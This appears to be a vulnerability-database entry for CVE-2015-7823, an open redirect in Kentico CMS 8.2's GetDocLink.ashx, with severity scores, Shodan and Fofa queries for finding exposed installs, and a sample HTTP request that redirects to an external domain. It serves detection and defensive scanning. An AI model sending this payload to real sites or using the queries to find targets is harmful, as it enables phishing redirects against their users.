🔙 목록으로 돌아가기

CVE-2015-7823: Kentico CMS 8.2 - Open Redirect

TitleKentico CMS 8.2 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
RemediationApply the latest security patches or upgrade to a newer version of Kentico CMS.
CVSS Score5.8
EPSS Score0.1267
CVE IDCVE-2015-7823
CWE IDNVD-CWE-Other
Shodan Querycpe:"cpe:2.3:a:kentico:kentico_cms"http.title:"kentico database setup"
Fofa Querytitle="kentico database setup"
Tags cve2015 cve kentico redirect packetstorm vuln

🔍 Vulnerability Description

Kentico CMS 8.2 contains an open redirect vulnerability via GetDocLink.ashx with link variable. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

🌐 HTTP Request

GET /CMSPages/GetDocLink.ashx?link=https://interact.sh/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-7823.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-7823.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A